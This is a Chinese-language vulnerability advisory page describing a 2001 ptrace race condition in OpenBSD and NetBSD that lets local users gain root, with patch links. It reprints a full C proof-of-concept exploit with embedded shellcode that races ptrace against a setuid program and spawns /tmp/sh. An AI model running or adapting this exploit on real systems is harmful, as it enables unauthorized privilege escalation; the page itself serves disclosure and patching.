首页 -> 安全研究

安全研究

安全漏洞
多种BSD系统的Ptrace存在条件竞争漏洞

发布日期:2001-06-14
更新日期:2001-06-18

受影响系统:

NetBSD NetBSD 1.5
NetBSD NetBSD 1.4.3
NetBSD NetBSD 1.4.2
NetBSD NetBSD 1.4.1
OpenBSD OpenBSD 2.9
OpenBSD OpenBSD 2.8
描述:

BUGTRAQ ID : 2873

Ptrace是一个常见的调试工具,它允许一个进程附在另一个进程之上,并监视,修改进
程执行状态和内存。

Ptrace的实现保证了非特权的进程是不能附在特权进程之上的,但是发现Ptrace在某些
BSD的实现中存在条件竞争漏洞,导致非特权的进程可能附在特权进程之上,本地用户
可能会利用这个漏洞来提升权限。

<*来源:Georgi Guninski (guninski@guninski.com
  主页:http://www.guninski.com
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Georgi Guninski (guninski@guninski.com)提供了如下测试代码:

/* Written by Georgi Guninski http://www.guninski.com
Tested on OpenBSD 2.9 and 2.8
Works best after reboot - the +s program must not be executed before, seems
executes /tmp/sh
/tmp/su must be a link to +s program
if the +s program has been executed, create and run shell script the size of
RAM
You may need to type "fg" if the program receives stop signal
you may need to run the program several times
*/

#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <limits.h>
#include <errno.h>
#include <stdlib.h>
#include <machine/reg.h>

int me=0;

void endit(int x)
{
if(!me)
{
printf("exiting\n");
exit(0);
}
}

extern char **environ;
int main(int ac, char **av)
{

volatile struct reg pt;

exec "/tmp/sh"
char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                  "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
                  "\xb0\x3b\x50\xcd\x80\x90\x90\x90";

int j,status,sig;
volatile int done=0;
volatile static int done2=0;
int pid,pid2,i;
int num; // number of processes to fork. 20 works for me on Pentium500
int target;

char *env1;
// address of $joro where execution of shell code begins. may need to be
changed
unsigned int breakat=0xdfbfddaf;
num=20;
pid=getpid();
if(!getenv("joro"))
{
setenv("joro",bsdshell,1);
if (execle(av[0],"a",NULL,environ))
perror("exec");
}
else
breakat=(int)getenv("joro");
printf("Written by Georgi Guninski\nShall jump to %x\n",breakat);
target=pid;
printf("Started pid1=%d target=%d\n",pid,target);
for(i=0;i<num;i++)
{
if (!done)
  if(! (pid2 = fork()))
  {
   signal(SIGURG,&endit);
   pid2=getpid();
   while(!done)
   {
    if (!ptrace(PT_ATTACH, target,NULL,NULL))
   {
   done=1;
   printf("\nAttached!\n");

   wait(&status);
   sig=WSTOPSIG(status);

  printf("sig=%d %s\n",status,sys_siglist[sig]);
  ptrace(PT_GETREGS,target,(caddr_t)&pt,NULL);
  printf("eip=%x esp=%x\n",pt.r_eip,pt.r_esp);

me=1;
done2 +=1;

  ptrace(PT_DETACH, target,(caddr_t)breakat,NULL);

sleep(2);
kill(0,SIGURG);
sleep(4);
while(42)
kill(target,SIGCONT);
   }
  }
  }
}
// "/tmp/su" must be symbolic link to +s program . the program must not be
executed before.
execle("/tmp/su","/usr/bin/su",NULL,environ);
}



建议:

厂商补丁:

OpenBSD已经发布了OpenBSD 2.8和OpenBSD 2.9的内核补丁:

OpenBSD OpenBSD 2.9:
  OpenBSD patch 2.9 007_kernexec.patch

ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.9/common/007_kernexec.patch

OpenBSD OpenBSD 2.8:
  OpenBSD patch 2.8 030_kernexec.patch

ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.8/common/030_kernexec.patch

NetBSD还没有正式发布补丁程序,不过可以先在NetBSD的cvs服务器下载diffs:

http://cvsweb.netbsd.org/


浏览次数:4159
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障